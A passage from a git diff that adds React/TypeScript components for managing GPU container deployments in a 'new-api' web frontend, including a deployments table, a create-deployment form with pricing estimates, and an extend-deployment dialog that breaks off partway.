+              columnId: 'status',
+              title: t('Status'),
+              options: statusFilterOptions,
+              singleSelect: true,
+            },
+          ]}
+        />
+
+        {isMobile ? (
+          <MobileCardList
+            table={table}
+            isLoading={isLoading}
+            emptyTitle={t('No Deployments Found')}
+            emptyDescription={t(
+              'No deployments available. Create one to get started.'
+            )}
+          />
+        ) : (
+          <div
+            className={cn(
+              'overflow-hidden rounded-md border transition-opacity duration-150',
+              isFetching && !isLoading && 'pointer-events-none opacity-50'
+            )}
+          >
+            <Table>
+              <TableHeader>
+                {table.getHeaderGroups().map((headerGroup) => (
+                  <TableRow key={headerGroup.id}>
+                    {headerGroup.headers.map((header) => (
+                      <TableHead
+                        key={header.id}
+                        style={{ width: header.getSize() }}
+                      >
+                        {header.isPlaceholder
+                          ? null
+                          : flexRender(
+                              header.column.columnDef.header,
+                              header.getContext()
+                            )}
+                      </TableHead>
+                    ))}
+                  </TableRow>
+                ))}
+              </TableHeader>
+              <TableBody>
+                {isLoading ? (
+                  <TableSkeleton
+                    table={table}
+                    keyPrefix='deployment-skeleton'
+                  />
+                ) : table.getRowModel().rows.length === 0 ? (
+                  <TableEmpty
+                    colSpan={table.getVisibleLeafColumns().length}
+                    title={t('No Deployments Found')}
+                    description={t(
+                      'No deployments available. Create one to get started.'
+                    )}
+                  />
+                ) : (
+                  table.getRowModel().rows.map((row) => (
+                    <TableRow key={row.id}>
+                      {row.getVisibleCells().map((cell) => (
+                        <TableCell key={cell.id}>
+                          {flexRender(
+                            cell.column.columnDef.cell,
+                            cell.getContext()
+                          )}
+                        </TableCell>
+                      ))}
+                    </TableRow>
+                  ))
+                )}
+              </TableBody>
+            </Table>
+          </div>
+        )}
+      </div>
+
+      <PageFooterPortal>
+        <DataTablePagination
+          table={table as ReturnType<typeof useReactTable>}
+        />
+      </PageFooterPortal>
+
+      <ViewLogsDialog
+        open={logsOpen}
+        onOpenChange={(open) => {
+          setLogsOpen(open)
+          if (!open) setLogsDeploymentId(null)
+        }}
+        deploymentId={logsDeploymentId}
+      />
+
+      <ViewDetailsDialog
+        open={detailsOpen}
+        onOpenChange={(open) => {
+          setDetailsOpen(open)
+          if (!open) setDetailsDeploymentId(null)
+        }}
+        deploymentId={detailsDeploymentId}
+      />
+
+      <UpdateConfigDialog
+        open={updateOpen}
+        onOpenChange={(open) => {
+          setUpdateOpen(open)
+          if (!open) setUpdateDeploymentId(null)
+        }}
+        deploymentId={updateDeploymentId}
+      />
+
+      <ExtendDeploymentDialog
+        open={extendOpen}
+        onOpenChange={(open) => {
+          setExtendOpen(open)
+          if (!open) setExtendDeploymentId(null)
+        }}
+        deploymentId={extendDeploymentId}
+      />
+
+      <RenameDeploymentDialog
+        open={renameOpen}
+        onOpenChange={(open) => {
+          setRenameOpen(open)
+          if (!open) setRenameDeploymentId(null)
+        }}
+        deploymentId={renameDeploymentId}
+        currentName={renameCurrentName}
+      />
+
+      <AlertDialog open={deleteOpen} onOpenChange={setDeleteOpen}>
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Confirm delete')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {t(
+                'Are you sure you want to delete deployment "{{name}}"? This action cannot be undone.',
+                {
+                  name:
+                    deleteTarget?.container_name ||
+                    deleteTarget?.deployment_name ||
+                    deleteTarget?.id,
+                }
+              )}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel disabled={isDeleting}>
+              {t('Cancel')}
+            </AlertDialogCancel>
+            <AlertDialogAction
+              onClick={handleDelete}
+              disabled={isDeleting}
+              className='bg-destructive text-destructive-foreground hover:bg-destructive/90'
+            >
+              {isDeleting ? t('Deleting...') : t('Delete')}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/description-cell.tsx b/new-api/web/default/src/features/models/components/description-cell.tsx
new file mode 100644
index 0000000..9153a8f
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/description-cell.tsx
@@ -0,0 +1,35 @@
+import { Button } from '@/components/ui/button'
+import { useModels } from './models-provider'
+
+type DescriptionCellProps = {
+  modelName: string
+  description: string
+}
+
+export function DescriptionCell({
+  modelName,
+  description,
+}: DescriptionCellProps) {
+  const { setOpen, setDescriptionData } = useModels()
+
+  if (!description) {
+    return <span className='text-muted-foreground text-xs'>-</span>
+  }
+
+  const handleClick = () => {
+    setDescriptionData({ modelName, description })
+    setOpen('description')
+  }
+
+  return (
+    <div className='max-w-[150px]'>
+      <Button
+        variant='link'
+        onClick={handleClick}
+        className='text-muted-foreground hover:text-foreground block h-auto w-full cursor-pointer overflow-hidden p-0 text-left text-sm text-ellipsis whitespace-nowrap no-underline'
+      >
+        {description}
+      </Button>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/dialogs/create-deployment-drawer.tsx b/new-api/web/default/src/features/models/components/dialogs/create-deployment-drawer.tsx
new file mode 100644
index 0000000..3b4ee0f
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/dialogs/create-deployment-drawer.tsx
@@ -0,0 +1,747 @@
+import { useEffect, useMemo } from 'react'
+import { z } from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import {
+  Sheet,
+  SheetClose,
+  SheetContent,
+  SheetDescription,
+  SheetFooter,
+  SheetHeader,
+  SheetTitle,
+} from '@/components/ui/sheet'
+import { Textarea } from '@/components/ui/textarea'
+import { MultiSelect } from '@/components/multi-select'
+import {
+  checkClusterNameAvailability,
+  createDeployment,
+  estimatePrice,
+  getAvailableReplicas,
+  getHardwareTypes,
+} from '../../api'
+import { deploymentsQueryKeys } from '../../lib'
+
+const BUILTIN_IMAGE = 'ollama/ollama:latest'
+const DEFAULT_TRAFFIC_PORT = 11434
+
+const schema = z.object({
+  resource_private_name: z.string().min(1),
+  image_url: z.string().min(1),
+  traffic_port: z.coerce.number().int().min(1).max(65535),
+  hardware_id: z.string().min(1),
+  gpus_per_container: z.coerce.number().int().min(1),
+  location_ids: z.array(z.string()).min(1),
+  replica_count: z.coerce.number().int().min(1),
+  duration_hours: z.coerce.number().int().min(1),
+  // Advanced
+  env_json: z.string().optional(),
+  secret_env_json: z.string().optional(),
+  entrypoint: z.string().optional(),
+  args: z.string().optional(),
+  registry_username: z.string().optional(),
+  registry_secret: z.string().optional(),
+  currency: z.string().optional(),
+})
+
+// NOTE: react-hook-form resolver uses the schema input type (coerce input is unknown)
+type FormValues = z.input<typeof schema>
+
+function toNumber(value: unknown, fallback: number) {
+  const n = typeof value === 'number' ? value : Number(value)
+  return Number.isFinite(n) ? n : fallback
+}
+
+export function CreateDeploymentDrawer({
+  open,
+  onOpenChange,
+}: {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+
+  const form = useForm<FormValues>({
+    resolver: zodResolver(schema),
+    defaultValues: {
+      resource_private_name: '',
+      image_url: BUILTIN_IMAGE,
+      traffic_port: DEFAULT_TRAFFIC_PORT,
+      hardware_id: '',
+      gpus_per_container: 1,
+      location_ids: [],
+      replica_count: 1,
+      duration_hours: 1,
+      env_json: '',
+      secret_env_json: '',
+      entrypoint: '',
+      args: '',
+      registry_username: '',
+      registry_secret: '',
+      currency: 'usdc',
+    },
+  })
+
+  const hardwareId = form.watch('hardware_id')
+  const gpuCount = toNumber(form.watch('gpus_per_container'), 1)
+  const locationIds = form.watch('location_ids')
+  const durationHours = toNumber(form.watch('duration_hours'), 1)
+  const replicaCount = toNumber(form.watch('replica_count'), 1)
+  const trafficPort = toNumber(form.watch('traffic_port'), DEFAULT_TRAFFIC_PORT)
+  const currency = form.watch('currency')
+  const resourceName = form.watch('resource_private_name')
+
+  const { data: hardwareTypesData, isLoading: isLoadingHardware } = useQuery({
+    queryKey: ['deployment-hardware-types'],
+    queryFn: getHardwareTypes,
+    enabled: open,
+  })
+
+  const hardwareOptions = useMemo(() => {
+    const items = hardwareTypesData?.data?.hardware_types || []
+    if (!Array.isArray(items)) return []
+    return items.map((h: Record<string, unknown>) => ({
+      label:
+        (h?.brand_name ? `${h.brand_name} ` : '') + String(h?.name ?? h?.id),
+      value: String(h?.id),
+      max_gpus: Number(h?.max_gpus || 1),
+    }))
+  }, [hardwareTypesData])
+
+  // Keep gpus_per_container <= max_gpus
+  useEffect(() => {
+    if (!hardwareId) return
+    const hw = hardwareOptions.find((x) => x.value === hardwareId)
+    if (!hw) return
+    const max =
+      Number.isFinite(hw.max_gpus) && hw.max_gpus > 0 ? hw.max_gpus : 1
+    if (gpuCount > max) {
+      form.setValue('gpus_per_container', max)
+    }
+  }, [hardwareId, hardwareOptions, gpuCount, form])
+
+  const { data: replicasData, isLoading: isLoadingReplicas } = useQuery({
+    queryKey: ['deployment-available-replicas', hardwareId, gpuCount],
+    queryFn: () =>
+      getAvailableReplicas({
+        hardware_id: hardwareId,
+        gpu_count: gpuCount,
+      }),
+    enabled: open && Boolean(hardwareId) && gpuCount > 0,
+  })
+
+  const locationOptions = useMemo(() => {
+    const replicas = replicasData?.data?.replicas || []
+    if (!Array.isArray(replicas)) return []
+    const map = new Map<string, { label: string; value: string }>()
+    replicas.forEach((r: Record<string, unknown>) => {
+      const id = (r?.location_id ??
+        (r?.location as Record<string, unknown>)?.id) as string | undefined
+      if (id === null || id === undefined) return
+      const name = (r?.location_name ??
+        (r?.location as Record<string, unknown>)?.name ??
+        r?.name ??
+        String(id)) as string
+      const key = String(id)
+      if (!map.has(key)) {
+        map.set(key, { label: String(name), value: key })
+      }
+    })
+    return Array.from(map.values())
+  }, [replicasData])
+
+  const { data: priceData, isLoading: _isLoadingPrice } = useQuery({
+    queryKey: [
+      'deployment-price',
+      hardwareId,
+      gpuCount,
+      durationHours,
+      replicaCount,
+      locationIds,
+      currency,
+    ],
+    queryFn: () =>
+      estimatePrice({
+        location_ids: locationIds,
+        hardware_id: hardwareId,
+        gpus_per_container: gpuCount,
+        duration_hours: durationHours,
+        replica_count: replicaCount,
+        currency: currency || 'usdc',
+      }),
+    enabled:
+      open &&
+      Boolean(hardwareId) &&
+      gpuCount > 0 &&
+      durationHours > 0 &&
+      replicaCount > 0 &&
+      locationIds.length > 0,
+  })
+
+  const { data: nameCheckData, isFetching: isCheckingName } = useQuery({
+    queryKey: ['deployment-name-check', resourceName],
+    queryFn: async () => {
+      const name = (resourceName || '').trim()
+      if (!name) return null
+      return await checkClusterNameAvailability(name)
+    },
+    enabled: open && Boolean(resourceName && resourceName.trim().length > 0),
+    staleTime: 10_000,
+  })
+
+  const nameAvailable =
+    nameCheckData?.success === true ? nameCheckData?.data?.available : undefined
+
+  const createMutation = useMutation({
+    mutationFn: async (values: FormValues) => {
+      const env =
+        values.env_json && values.env_json.trim()
+          ? (JSON.parse(values.env_json) as Record<string, unknown>)
+          : undefined
+      const secretEnv =
+        values.secret_env_json && values.secret_env_json.trim()
+          ? (JSON.parse(values.secret_env_json) as Record<string, unknown>)
+          : undefined
+
+      const envVariables =
+        env && typeof env === 'object' && !Array.isArray(env)
+          ? (Object.fromEntries(
+              Object.entries(env).map(([k, v]) => [k, String(v)])
+            ) as Record<string, string>)
+          : undefined
+
+      const secretEnvVariables =
+        secretEnv && typeof secretEnv === 'object' && !Array.isArray(secretEnv)
+          ? (Object.fromEntries(
+              Object.entries(secretEnv).map(([k, v]) => [k, String(v)])
+            ) as Record<string, string>)
+          : undefined
+
+      const gpusPerContainer = Number(values.gpus_per_container)
+      const durationHoursVal = Number(values.duration_hours)
+      const replicaCountVal = Number(values.replica_count)
+
+      const entrypoint = values.entrypoint
+        ? values.entrypoint
+            .split(' ')
+            .map((x) => x.trim())
+            .filter(Boolean)
+        : undefined
+
+      const args = values.args
+        ? values.args
+            .split(' ')
+            .map((x) => x.trim())
+            .filter(Boolean)
+        : undefined
+
+      const location_ids = (values.location_ids || [])
+        .map((x) => Number(x))
+        .filter((n) => Number.isInteger(n) && n > 0)
+
+      const payload = {
+        resource_private_name: values.resource_private_name.trim(),
+        duration_hours: Number.isFinite(durationHoursVal)
+          ? durationHoursVal
+          : 1,
+        gpus_per_container: Number.isFinite(gpusPerContainer)
+          ? gpusPerContainer
+          : 1,
+        hardware_id: Number(values.hardware_id),
+        location_ids,
+        container_config: {
+          replica_count: Number.isFinite(replicaCountVal) ? replicaCountVal : 1,
+          traffic_port: Number.isFinite(trafficPort)
+            ? trafficPort
+            : DEFAULT_TRAFFIC_PORT,
+          ...(entrypoint?.length ? { entrypoint } : {}),
+          ...(args?.length ? { args } : {}),
+          ...(envVariables ? { env_variables: envVariables } : {}),
+          ...(secretEnvVariables
+            ? { secret_env_variables: secretEnvVariables }
+            : {}),
+        },
+        registry_config: {
+          image_url: values.image_url,
+          ...(values.registry_username?.trim()
+            ? { registry_username: values.registry_username.trim() }
+            : {}),
+          ...(values.registry_secret?.trim()
+            ? { registry_secret: values.registry_secret.trim() }
+            : {}),
+        },
+      }
+
+      return await createDeployment(payload)
+    },
+    onSuccess: (data) => {
+      if (data?.success) {
+        toast.success(t('Deployment created successfully'))
+        queryClient.invalidateQueries({
+          queryKey: deploymentsQueryKeys.lists(),
+        })
+        onOpenChange(false)
+        return
+      }
+      toast.error(data?.message || t('Failed to create deployment'))
+    },
+    onError: (err: Error) => {
+      toast.error(err.message || t('Failed to create deployment'))
+    },
+  })
+
+  // Reset form when opening
+  useEffect(() => {
+    if (!open) return
+    form.reset({
+      resource_private_name: '',
+      image_url: BUILTIN_IMAGE,
+      traffic_port: DEFAULT_TRAFFIC_PORT,
+      hardware_id: '',
+      gpus_per_container: 1,
+      location_ids: [],
+      replica_count: 1,
+      duration_hours: 1,
+      env_json: '',
+      secret_env_json: '',
+      entrypoint: '',
+      args: '',
+      registry_username: '',
+      registry_secret: '',
+      currency: 'usdc',
+    })
+  }, [open, form])
+
+  const priceSummary = useMemo<string>(() => {
+    const est = priceData?.data
+    if (!est || typeof est !== 'object') return ''
+    const total =
+      (est as Record<string, unknown>)?.total_cost ??
+      (est as Record<string, unknown>)?.total ??
+      ''
+    const currency = (est as Record<string, unknown>)?.currency ?? ''
+    if (total === '' && currency === '') return ''
+    return `${total} ${currency}`.trim()
+  }, [priceData])
+  void priceSummary
+
+  return (
+    <Sheet
+      open={open}
+      onOpenChange={(v) => {
+        onOpenChange(v)
+        if (!v) {
+          form.reset()
+        }
+      }}
+    >
+      <SheetContent className='flex w-full flex-col sm:max-w-[600px]'>
+        <SheetHeader className='text-start'>
+          <SheetTitle>{t('Create deployment')}</SheetTitle>
+          <SheetDescription>
+            {t('Configure and deploy a new container instance.')}
+          </SheetDescription>
+        </SheetHeader>
+
+        <Form {...form}>
+          <form
+            id='deployment-form'
+            onSubmit={form.handleSubmit((values) =>
+              createMutation.mutate(values)
+            )}
+            className='flex-1 space-y-6 overflow-y-auto px-4'
+          >
+            {/* Basic Configuration */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-medium'>
+                {t('Basic Configuration')}
+              </h3>
+
+              <FormField
+                control={form.control}
+                name='resource_private_name'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Container name')}</FormLabel>
+                    <FormControl>
+                      <Input placeholder={t('Enter a name')} {...field} />
+                    </FormControl>
+                    {open && field.value?.trim() ? (
+                      <div className='text-muted-foreground text-xs'>
+                        {isCheckingName
+                          ? t('Checking name...')
+                          : nameAvailable === true
+                            ? t('Name is available')
+                            : nameAvailable === false
+                              ? t('Name is not available')
+                              : ''}
+                      </div>
+                    ) : null}
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='image_url'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Image')}</FormLabel>
+                    <FormControl>
+                      <Input {...field} />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            {/* Resource Configuration */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-medium'>
+                {t('Resource Configuration')}
+              </h3>
+
+              <div className='grid gap-4 sm:grid-cols-2'>
+                <FormField
+                  control={form.control}
+                  name='hardware_id'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Hardware type')}</FormLabel>
+                      <Select
+                        value={field.value}
+                        onValueChange={(v) => field.onChange(v)}
+                        disabled={isLoadingHardware}
+                      >
+                        <FormControl>
+                          <SelectTrigger className='w-full'>
+                            <SelectValue placeholder={t('Select')} />
+                          </SelectTrigger>
+                        </FormControl>
+                        <SelectContent>
+                          {hardwareOptions.map((opt) => (
+                            <SelectItem key={opt.value} value={opt.value}>
+                              {opt.label}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <FormField
+                control={form.control}
+                name='location_ids'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Deployment location')}</FormLabel>
+                    <FormControl>
+                      <MultiSelect
+                        options={locationOptions}
+                        selected={(field.value || []) as string[]}
+                        onChange={(vals) => {
+                          if (isLoadingReplicas || !hardwareId) return
+                          field.onChange(vals)
+                        }}
+                        placeholder={
+                          isLoadingReplicas
+                            ? t('Loading...')
+                            : t('Select locations')
+                        }
+                        className={
+                          isLoadingReplicas || !hardwareId
+                            ? 'pointer-events-none opacity-60'
+                            : ''
+                        }
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <div className='grid gap-4 sm:grid-cols-2'>
+                <FormField
+                  control={form.control}
+                  name='gpus_per_container'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('GPU count')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='number'
+                          value={toNumber(field.value, gpuCount)}
+                          onChange={(e) =>
+                            field.onChange(
+                              e.target.value === '' ? 0 : Number(e.target.value)
+                            )
+                          }
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='replica_count'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Replica count')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='number'
+                          value={toNumber(field.value, replicaCount)}
+                          onChange={(e) =>
+                            field.onChange(
+                              e.target.value === '' ? 0 : Number(e.target.value)
+                            )
+                          }
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <div className='grid gap-4 sm:grid-cols-2'>
+                <FormField
+                  control={form.control}
+                  name='duration_hours'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Duration (hours)')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='number'
+                          value={toNumber(field.value, durationHours)}
+                          onChange={(e) =>
+                            field.onChange(
+                              e.target.value === '' ? 0 : Number(e.target.value)
+                            )
+                          }
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='traffic_port'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Port')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='number'
+                          value={toNumber(field.value, trafficPort)}
+                          onChange={(e) =>
+                            field.onChange(
+                              e.target.value === '' ? 0 : Number(e.target.value)
+                            )
+                          }
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+            </div>
+
+            {/* Price Estimation */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-medium'>{t('Price estimation')}</h3>
+              <p className='text-muted-foreground text-xs'>
+                {t('Price estimation description')}
+              </p>
+
+              <FormField
+                control={form.control}
+                name='currency'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Billing currency')}</FormLabel>
+                    <Select
+                      value={field.value || 'usdc'}
+                      onValueChange={(v) => field.onChange(v)}
+                    >
+                      <FormControl>
+                        <SelectTrigger className='w-full'>
+                          <SelectValue placeholder={t('Select')} />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        <SelectItem value='usdc'>USDC</SelectItem>
+                        <SelectItem value='iocoin'>IOCOIN</SelectItem>
+                      </SelectContent>
+                    </Select>
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            {/* Advanced Configuration */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-medium'>
+                {t('Advanced Configuration')}
+              </h3>
+              <p className='text-muted-foreground text-xs'>
+                {t('Optional settings for advanced container configuration.')}
+              </p>
+
+              <div className='space-y-4'>
+                <div className='grid gap-4 sm:grid-cols-2'>
+                  <FormField
+                    control={form.control}
+                    name='entrypoint'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>
+                          {t('Entrypoint (space separated)')}
+                        </FormLabel>
+                        <FormControl>
+                          <Input placeholder='bash -lc' {...field} />
+                        </FormControl>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+
+                  <FormField
+                    control={form.control}
+                    name='args'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Args (space separated)')}</FormLabel>
+                        <FormControl>
+                          <Input placeholder='--foo bar' {...field} />
+                        </FormControl>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                </div>
+
+                <FormField
+                  control={form.control}
+                  name='env_json'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Environment variables (JSON)')}</FormLabel>
+                      <FormControl>
+                        <Textarea
+                          className='min-h-24 font-mono text-xs'
+                          placeholder='{"KEY":"VALUE"}'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='secret_env_json'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>
+                        {t('Secret environment variables (JSON)')}
+                      </FormLabel>
+                      <FormControl>
+                        <Textarea
+                          className='min-h-24 font-mono text-xs'
+                          placeholder='{"SECRET":"VALUE"}'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <div className='grid gap-4 sm:grid-cols-2'>
+                  <FormField
+                    control={form.control}
+                    name='registry_username'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Registry username')}</FormLabel>
+                        <FormControl>
+                          <Input autoComplete='off' {...field} />
+                        </FormControl>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+
+                  <FormField
+                    control={form.control}
+                    name='registry_secret'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Registry secret')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            type='password'
+                            autoComplete='off'
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                </div>
+              </div>
+            </div>
+          </form>
+        </Form>
+
+        <SheetFooter className='gap-2'>
+          <SheetClose asChild>
+            <Button variant='outline'>{t('Cancel')}</Button>
+          </SheetClose>
+          <Button
+            form='deployment-form'
+            type='submit'
+            disabled={createMutation.isPending}
+          >
+            {createMutation.isPending ? t('Submitting...') : t('Create')}
+          </Button>
+        </SheetFooter>
+      </SheetContent>
+    </Sheet>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/dialogs/extend-deployment-dialog.tsx b/new-api/web/default/src/features/models/components/dialogs/extend-deployment-dialog.tsx
new file mode 100644
index 0000000..733bdc5
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/dialogs/extend-deployment-dialog.tsx
@@ -0,0 +1,218 @@
+import { useEffect, useMemo, useState } from 'react'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Separator } from '@/components/ui/separator'
+import { estimatePrice, extendDeployment, getDeployment } from '../../api'
+import { deploymentsQueryKeys } from '../../lib'
+
+function toInt(value: unknown, fallback: number) {
+  const n = typeof value === 'number' ? value : Number(value)
+  return Number.isFinite(n) ? Math.max(0, Math.round(n)) : fallback
+}
+
+export function ExtendDeploymentDialog({
+  open,
+  onOpenChange,
+  deploymentId,
+}: {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  deploymentId: string | number | null
+}) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const [hours, setHours] = useState(1)
+  const [isSubmitting, setIsSubmitting] = useState(false)
+
+  useEffect(() => {
+    if (open) setHours(1)
+  }, [open])
+
+  const { data: detailsRes, isLoading: isLoadingDetails } = useQuery({
+    queryKey: ['deployment-details-for-extend', deploymentId],
+    queryFn: () => (deploymentId ? getDeployment(deploymentId) : null),
+    enabled: open && deploymentId !== null,
+  })
+
+  const details = detailsRes?.data
+
+  const priceParams = useMemo(() => {
+    if (!details) return null
+    const hardwareId = toInt(details.hardware_id, 0)
+    const gpusPerContainer = toInt(details.gpus_per_container, 0)
+    const replicaCount = toInt(details.total_containers, 0)
+    const locations = Array.isArray(details.locations) ? details.locations : []
+    const locationIds = locations
+      .map((x) => {
+        if (!x || typeof x !== 'object') return 0
+        return toInt((x as Record<string, unknown>)?.id, 0)
+      })
+      .filter((x) => x > 0)
+
+    if (
+      hardwareId <= 0 ||
+      gpusPerContainer <= 0 ||
+      replicaCount <= 0 ||
+      locationIds.length === 0
+    ) {
+      return null
+    }
+
+    return {
+      hardware_id: hardwareId,
+      gpus_per_container: gpusPerContainer,
+      replica_count: replicaCount,
+      location_ids: locationIds,
+    }
+  }, [details])
+
+  const {
+    data: priceRes,
+    isLoading: isLoadingPrice,
+    isFetching: isFetchingPrice,
+  } = useQuery({
+    queryKey: ['deployment-extend-price', deploymentId, hours, priceParams],
+    queryFn: () =>
+      priceParams
+        ? estimatePrice({
+            location_ids: priceParams.location_ids,
+            hardware_id: priceParams.hardware_id,
+            gpus_per_container: priceParams.gpus_per_container,
+            replica_count: priceParams.replica_count,
+            duration_hours: hours,
+            currency: 'usdc',
+          })
+        : null,
+    enabled: open && Boolean(priceParams) && hours > 0,
+  })
+
+  const priceSummary = useMemo(() => {
+    const data = priceRes?.data
+    if (!data || typeof data !== 'object') return ''
+    const record = data as Record<string, unknown>
+    const breakdown = record.price_breakdown
+    let total: unknown = record.total_cost
+    if (
+      breakdown &&
+      typeof breakdown === 'object' &&
+      !Array.isArray(breakdown)
+    ) {
+      const b = breakdown as Record<string, unknown>
+      total = b.total_cost ?? b.totalCost ?? b.TotalCost ?? total
+    }
+    const currency = record.currency ?? 'USDC'
+    if (total === undefined || total === null) return ''
+    return `${String(total)} ${String(currency).toUpperCase()}`.trim()
+  }, [priceRes])
+
+  const canSubmit = Boolean(deploymentId) && hours > 0 && !isSubmitting
+
+  const onSubmit = async () => {
+    if (!deploymentId) return
+    const h = toInt(hours, 1)
+    if (h <= 0) {
+      toast.error(t('Please enter a valid duration'))
+      return
+    }
+    setIsSubmitting(true)
+    try {
+      const res = await extendDeployment(deploymentId, h)
+      if (res.success) {
+        toast.success(t('Extended successfully'))
+        queryClient.invalidateQueries({
+          queryKey: deploymentsQueryKeys.lists(),
+        })
+        queryClient.invalidateQueries({ queryKey: ['deployment-details'] })
+        onOpenChange(false)
+        return
+      }
+      toast.error(res.message || t('Extend failed'))
+    } catch (err: unknown) {
+      toast.error(err instanceof Error ? err.message : t('Extend failed'))
+    } finally {
+      setIsSubmitting(false)
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-lg'>
+        <DialogHeader>
+          <DialogTitle>{t('Extend deployment')}</DialogTitle>
+        </DialogHeader>
+
+        {isLoadingDetails ? (
+          <div className='flex items-center justify-center py-10'>
+            <Loader2 className='text-muted-foreground h-6 w-6 animate-spin' />
+          </div>
+        ) : (
+          <div className='space-y-4'>
+            <div className='text-muted-foreground text-sm'>
+              {t('Deployment ID')}:{' '}
+              <span className='font-mono'>{deploymentId}</span>
+            </div>
+
+            <div className='space-y-2'>
+              <div className='text-sm font-medium'>{t('Duration (hours)')}</div>
+              <Input
+                type='number'
+                min={1}
+                value={hours}
+                onChange={(e) => setHours(toInt(e.target.value, 1))}
+              />
+              <div className='text-muted-foreground text-xs'>
+                {t('This will extend the deployment by the specified hours.')}
+              </div>
+            </div>
+
+            <Separator />
+
+            <div className='space-y-1'>
+              <div className='text-sm font-medium'>{t('Estimated cost')}</div>
+              <div className='text-muted-foreground text-sm'>
+                {isLoadingPrice || isFetchingPrice ? (
+                  <span className='inline-flex items-center gap-2'>
+                    <Loader2 className='h-4 w-4 animate-spin' />
+                    {t('Calculating...')}
+                  </span>
+                ) : priceParams ? (
+                  priceSummary || t('Not available')
+                ) : (
+                  t('Not available')
+                )}
+              </div>
+              {!priceParams ? (
+                <div className='text-muted-foreground text-xs'>
+                  {t('Unable to estimate price for this deployment.')}
+                </div>
+              ) : null}
+            </div>
+          </div>
+        )}
+
+        <DialogFooter className='mt-4'>
+          <Button variant='outline' onClick={() => onOpenChange(false)}>
+            {t('Cancel')}
